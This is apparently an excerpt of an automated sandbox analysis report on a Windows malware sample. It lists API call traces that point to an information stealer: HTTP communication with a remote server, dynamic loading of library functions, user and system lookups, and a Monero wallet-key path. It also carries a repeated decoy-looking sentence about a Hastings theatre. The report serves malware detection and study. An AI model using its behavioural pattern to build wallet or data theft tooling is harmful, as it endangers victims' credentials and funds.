officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 3bea84680bd9d18ff54bd1c36ce7b5993eeae270834b28e3065fe50196952860
Instruction ID: a4f3f6c0d55dc835d0ce48a5947e0288ae36bd600658eb1a1cf32d4e85ad3dfd
Opcode Fuzzy Hash: 3bea84680bd9d18ff54bd1c36ce7b5993eeae270834b28e3065fe50196952860
Instruction Fuzzy Hash: B041E8A07C5E89EECE25B7A4A85EFDD7B976FCA700F515044E80B52282CFF16580472B

Function 00694880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 006947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00694839
Part of subcall function 006947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00694849

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00694915
StrCmpCA.SHLWAPI(?,0126FA00), ref: 0069493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00694ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,006B0DDB,00000000,?,?,00000000,?,",00000000,?,0126F9E0), ref: 00694DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00694E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00694E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00694E49
InternetCloseHandle.WININET(00000000), ref: 00694EAD
InternetCloseHandle.WININET(00000000), ref: 00694EC5
HttpOpenRequestA.WININET(00000000,0126FA50,?,0126F1C0,00000000,00000000,00400100,00000000), ref: 00694B15

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

InternetCloseHandle.WININET(00000000), ref: 00694ECF

Strings

------, xrefs: 00694C69
", xrefs: 00694D33
------, xrefs: 006949BD
", xrefs: 00694BF2
------, xrefs: 00694B28

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: d681f26ba7cf1b58db97257ae734667970e731251b33b39f094a772c81227995
Instruction ID: 27312c19a6e58bc3d9b7a82d810b968978df1e94c97fbdf52b73f32fecc61a9c
Opcode Fuzzy Hash: d681f26ba7cf1b58db97257ae734667970e731251b33b39f094a772c81227995
Instruction Fuzzy Hash: 7D12EC71911118AADB95FB90DC92FEEB37ABF16300F50419EB10662091EF742F49CF6A

Function 006A7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006911B7), ref: 006A7880
RtlAllocateHeap.NTDLL(00000000), ref: 006A7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 006A789F

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 574eb58f73ca0e942a920a109cf9a1391c107475e5642d7c7b0e28c542da69f9
Instruction ID: 70615cbb819b5257068453752ff466819592e5bb714788ae7a61141832d6e8c0
Opcode Fuzzy Hash: 574eb58f73ca0e942a920a109cf9a1391c107475e5642d7c7b0e28c542da69f9
Instruction Fuzzy Hash: FBF04FB1944208ABC704DF98DD49BAEBBB8FB05711F10026AFA05A2680C77919048BA1

Function 00691160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0069116A
ExitProcess.KERNEL32 ref: 0069117E

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 623f1393379af15adc309e0f4262399c80baccfa342e10ff6e9eb13e9ce3dcb4
Instruction ID: 075010d735f2cdeabc50c3e38a19e7de821d49dafbac9e6a2e8e22ed74e1ffc6
Opcode Fuzzy Hash: 623f1393379af15adc309e0f4262399c80baccfa342e10ff6e9eb13e9ce3dcb4
Instruction Fuzzy Hash: 2CD05E7490130CDBCB04DFE0D8496DDBB78FB08312F200695D90562340EA305481CAA6

Function 006A9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01255260), ref: 006A9C2D
GetProcAddress.KERNEL32(75900000,012551C0), ref: 006A9C45
GetProcAddress.KERNEL32(75900000,01269630), ref: 006A9C5E
GetProcAddress.KERNEL32(75900000,01269618), ref: 006A9C76
GetProcAddress.KERNEL32(75900000,0126DFB0), ref: 006A9C8E
GetProcAddress.KERNEL32(75900000,0126DEF0), ref: 006A9CA7
GetProcAddress.KERNEL32(75900000,0125BB20), ref: 006A9CBF
GetProcAddress.KERNEL32(75900000,0126E070), ref: 006A9CD7
GetProcAddress.KERNEL32(75900000,0126E028), ref: 006A9CF0
GetProcAddress.KERNEL32(75900000,0126E088), ref: 006A9D08
GetProcAddress.KERNEL32(75900000,0126E0B8), ref: 006A9D20
GetProcAddress.KERNEL32(75900000,012551E0), ref: 006A9D39
GetProcAddress.KERNEL32(75900000,01255220), ref: 006A9D51
GetProcAddress.KERNEL32(75900000,01255300), ref: 006A9D69
GetProcAddress.KERNEL32(75900000,012552A0), ref: 006A9D82
GetProcAddress.KERNEL32(75900000,0126DFF8), ref: 006A9D9A
GetProcAddress.KERNEL32(75900000,0126E040), ref: 006A9DB2
GetProcAddress.KERNEL32(75900000,0125BBC0), ref: 006A9DCB
GetProcAddress.KERNEL32(75900000,01255360), ref: 006A9DE3
GetProcAddress.KERNEL32(75900000,0126E0A0), ref: 006A9DFB
GetProcAddress.KERNEL32(75900000,0126E0D0), ref: 006A9E14
GetProcAddress.KERNEL32(75900000,0126DFC8), ref: 006A9E2C
GetProcAddress.KERNEL32(75900000,0126DE48), ref: 006A9E44
GetProcAddress.KERNEL32(75900000,01255380), ref: 006A9E5D
GetProcAddress.KERNEL32(75900000,0126DF38), ref: 006A9E75
GetProcAddress.KERNEL32(75900000,0126E058), ref: 006A9E8D
GetProcAddress.KERNEL32(75900000,0126DF98), ref: 006A9EA6
GetProcAddress.KERNEL32(75900000,0126DEA8), ref: 006A9EBE
GetProcAddress.KERNEL32(75900000,0126DEC0), ref: 006A9ED6
GetProcAddress.KERNEL32(75900000,0126E0E8), ref: 006A9EEF
GetProcAddress.KERNEL32(75900000,0126E100), ref: 006A9F07
GetProcAddress.KERNEL32(75900000,0126DE60), ref: 006A9F1F
GetProcAddress.KERNEL32(75900000,0126DF68), ref: 006A9F38
GetProcAddress.KERNEL32(75900000,0126B8E8), ref: 006A9F50
GetProcAddress.KERNEL32(75900000,0126DF80), ref: 006A9F68
GetProcAddress.KERNEL32(75900000,0126E118), ref: 006A9F81
GetProcAddress.KERNEL32(75900000,012553A0), ref: 006A9F99
GetProcAddress.KERNEL32(75900000,0126E130), ref: 006A9FB1
GetProcAddress.KERNEL32(75900000,012553E0), ref: 006A9FCA
GetProcAddress.KERNEL32(75900000,0126DE78), ref: 006A9FE2
GetProcAddress.KERNEL32(75900000,0126E010), ref: 006A9FFA
GetProcAddress.KERNEL32(75900000,01255180), ref: 006AA013
GetProcAddress.KERNEL32(75900000,01254DC0), ref: 006AA02B
LoadLibraryA.KERNEL32(0126DE90,?,006A5CA3,006B0AEB,?,?,?,?,?,?,?,?,?,?,006B0AEA,006B0AE3), ref: 006AA03D
LoadLibraryA.KERNEL32(0126DFE0,?,006A5CA3,006B0AEB,?,?,?,?,?,?,?,?,?,?,006B0AEA,006B0AE3), ref: 006AA04E
LoadLibraryA.KERNEL32(0126DED8,?,006A5CA3,006B0AEB,?,?,?,?,?,?,?,?,?,?,006B0AEA,006B0AE3), ref: 006AA060
LoadLibraryA.KERNEL32(0126DF08,?,006A5CA3,006B0AEB,?,?,?,?,?,?,?,?,?,?,006B0AEA,006B0AE3), ref: 006AA072
LoadLibraryA.KERNEL32(0126DF20,?,006A5CA3,006B0AEB,?,?,?,?,?,?,?,?,?,?,006B0AEA,006B0AE3), ref: 006AA083
LoadLibraryA.KERNEL32(0126DF50,?,006A5CA3,006B0AEB,?,?,?,?,?,?,?,?,?,?,006B0AEA,006B0AE3), ref: 006AA095
LoadLibraryA.KERNEL32(0126E1F0,?,006A5CA3,006B0AEB,?,?,?,?,?,?,?,?,?,?,006B0AEA,006B0AE3), ref: 006AA0A7
LoadLibraryA.KERNEL32(0126E298,?,006A5CA3,006B0AEB,?,?,?,?,?,?,?,?,?,?,006B0AEA,006B0AE3), ref: 006AA0B8
GetProcAddress.KERNEL32(75FD0000,01255140), ref: 006AA0DA
GetProcAddress.KERNEL32(75FD0000,0126E190), ref: 006AA0F2
GetProcAddress.KERNEL32(75FD0000,01269050), ref: 006AA10A
GetProcAddress.KERNEL32(75FD0000,0126E250), ref: 006AA123
GetProcAddress.KERNEL32(75FD0000,01254F40), ref: 006AA13B
GetProcAddress.KERNEL32(734B0000,0125BA08), ref: 006AA160
GetProcAddress.KERNEL32(734B0000,01255120), ref: 006AA179
GetProcAddress.KERNEL32(734B0000,0125B828), ref: 006AA191
GetProcAddress.KERNEL32(734B0000,0126E268), ref: 006AA1A9
GetProcAddress.KERNEL32(734B0000,0126E280), ref: 006AA1C2
GetProcAddress.KERNEL32(734B0000,01254F00), ref: 006AA1DA
GetProcAddress.KERNEL32(734B0000,01254EC0), ref: 006AA1F2
GetProcAddress.KERNEL32(734B0000,0126E3A0), ref: 006AA20B
GetProcAddress.KERNEL32(763B0000,01254EA0), ref: 006AA22C
GetProcAddress.KERNEL32(763B0000,012550A0), ref: 006AA244
GetProcAddress.KERNEL32(763B0000,0126E400), ref: 006AA25D
GetProcAddress.KERNEL32(763B0000,0126E2F8), ref: 006AA275
GetProcAddress.KERNEL32(763B0000,01254F60), ref: 006AA28D
GetProcAddress.KERNEL32(750F0000,0125B800), ref: 006AA2B3
GetProcAddress.KERNEL32(750F0000,0125B670), ref: 006AA2CB
GetProcAddress.KERNEL32(750F0000,0126E358), ref: 006AA2E3
GetProcAddress.KERNEL32(750F0000,01254E20), ref: 006AA2FC
GetProcAddress.KERNEL32(750F0000,01255060), ref: 006AA314
GetProcAddress.KERNEL32(750F0000,0125B990), ref: 006AA32C
GetProcAddress.KERNEL32(75A50000,0126E1A8), ref: 006AA352
GetProcAddress.KERNEL32(75A50000,01254E40), ref: 006AA36A
GetProcAddress.KERNEL32(75A50000,01269010), ref: 006AA382
GetProcAddress.KERNEL32(75A50000,0126E3B8), ref: 006AA39B
GetProcAddress.KERNEL32(75A50000,0126E1D8), ref: 006AA3B3
GetProcAddress.KERNEL32(75A50000,01254F80), ref: 006AA3CB
GetProcAddress.KERNEL32(75A50000,01254FA0), ref: 006AA3E4
GetProcAddress.KERNEL32(75A50000,0126E370), ref: 006AA3FC
GetProcAddress.KERNEL32(75A50000,0126E208), ref: 006AA414
GetProcAddress.KERNEL32(75070000,01254FC0), ref: 006AA436
GetProcAddress.KERNEL32(75070000,0126E148), ref: 006AA44E
GetProcAddress.KERNEL32(75070000,0126E3D0), ref: 006AA466
GetProcAddress.KERNEL32(75070000,0126E3E8), ref: 006AA47F
GetProcAddress.KERNEL32(75070000,0126E2B0), ref: 006AA497
GetProcAddress.KERNEL32(74E50000,01254E60), ref: 006AA4B8
GetProcAddress.KERNEL32(74E50000,01254DE0), ref: 006AA4D1
GetProcAddress.KERNEL32(75320000,01255100), ref: 006AA4F2
GetProcAddress.KERNEL32(75320000,0126E2C8), ref: 006AA50A
GetProcAddress.KERNEL32(6F060000,012550C0), ref: 006AA530
GetProcAddress.KERNEL32(6F060000,01254FE0), ref: 006AA548
GetProcAddress.KERNEL32(6F060000,01255000), ref: 006AA560
GetProcAddress.KERNEL32(6F060000,0126E160), ref: 006AA579
GetProcAddress.KERNEL32(6F060000,01254E80), ref: 006AA591
GetProcAddress.KERNEL32(6F060000,01254F20), ref: 006AA5A9
GetProcAddress.KERNEL32(6F060000,01255020), ref: 006AA5C2
GetProcAddress.KERNEL32(6F060000,01255080), ref: 006AA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 006AA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 006AA607
GetProcAddress.KERNEL32(74E00000,0126E220), ref: 006AA629
GetProcAddress.KERNEL32(74E00000,01269070), ref: 006AA641
GetProcAddress.KERNEL32(74E00000,0126E2E0), ref: 006AA659
GetProcAddress.KERNEL32(74E00000,0126E418), ref: 006AA672
GetProcAddress.KERNEL32(74DF0000,01255040), ref: 006AA693
GetProcAddress.KERNEL32(6E520000,0126E430), ref: 006AA6B4
GetProcAddress.KERNEL32(6E520000,012550E0), ref: 006AA6CD
GetProcAddress.KERNEL32(6E520000,0126E178), ref: 006AA6E5
GetProcAddress.KERNEL32(6E520000,0126E340), ref: 006AA6FD

Strings

InternetSetOptionA, xrefs: 006AA5E5
HttpQueryInfoA, xrefs: 006AA5FC

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 78c09b81222a163bebe2a74e5d3a6b22fc5e75adbe442935a160a9d158c77b44
Instruction ID: e62769a4b801fdf147d7b7870c898247c056fdd9269ca833f2a4afc0d3ff64f2
Opcode Fuzzy Hash: 78c09b81222a163bebe2a74e5d3a6b22fc5e75adbe442935a160a9d158c77b44
Instruction Fuzzy Hash: 7F624AB5602241AFC74CDFA9FD889663BF9F74C301734872BAA49C3264D7399941DB22

Function 00696280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 006947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00694839
Part of subcall function 006947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00694849

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

InternetOpenA.WININET(006B0DFE,00000001,00000000,00000000,00000000), ref: 006962E1
StrCmpCA.SHLWAPI(?,0126FA00), ref: 00696303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00696335
HttpOpenRequestA.WININET(00000000,GET,?,0126F1C0,00000000,00000000,00400100,00000000), ref: 00696385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006963BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006963D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006963FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0069646D
InternetCloseHandle.WININET(00000000), ref: 006964EF
InternetCloseHandle.WININET(00000000), ref: 006964F9
InternetCloseHandle.WININET(00000000), ref: 00696503

Strings

GET, xrefs: 0069637C
ERROR, xrefs: 00696407
ERROR, xrefs: 006964C9

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: cd43b02c615158f446e4c637072bc12ef4b37cec17e8c58003780fa1c8f5295d
Instruction ID: 42940420df6eaeb7465e7e40fe4235d06442b346400c8e8ef7f7c02aa619dab1
Opcode Fuzzy Hash: cd43b02c615158f446e4c637072bc12ef4b37cec17e8c58003780fa1c8f5295d
Instruction Fuzzy Hash: 88715B71A00318ABDF64EBE0CC49BEE77BABB45700F108199F50A6B590DBB46E85CF51

Function 006A5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006AA820: lstrlen.KERNEL32(00694F05,?,?,00694F05,006B0DDE), ref: 006AA82B
Part of subcall function 006AA820: lstrcpy.KERNEL32(006B0DDE,00000000), ref: 006AA885

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006A5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006A56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006A5857

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 006A51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006A5228

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006A52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006A5318
Part of subcall function 006A52C0: lstrlen.KERNEL32(00000000), ref: 006A532F
Part of subcall function 006A52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 006A5364
Part of subcall function 006A52C0: lstrlen.KERNEL32(00000000), ref: 006A5383
Part of subcall function 006A52C0: lstrlen.KERNEL32(00000000), ref: 006A53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006A578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006A5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006A5A0C
Sleep.KERNEL32(0000EA60), ref: 006A5A1B

Strings

ERROR, xrefs: 006A5932
ERROR, xrefs: 006A5636
ERROR, xrefs: 006A59FE
ERROR, xrefs: 006A5849
ERROR, xrefs: 006A577D
ERROR, xrefs: 006A5693

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 35c198e61aea0afa3b519abd2a3ca4fe855ad123ee7c276cade93326aeaf9ffb
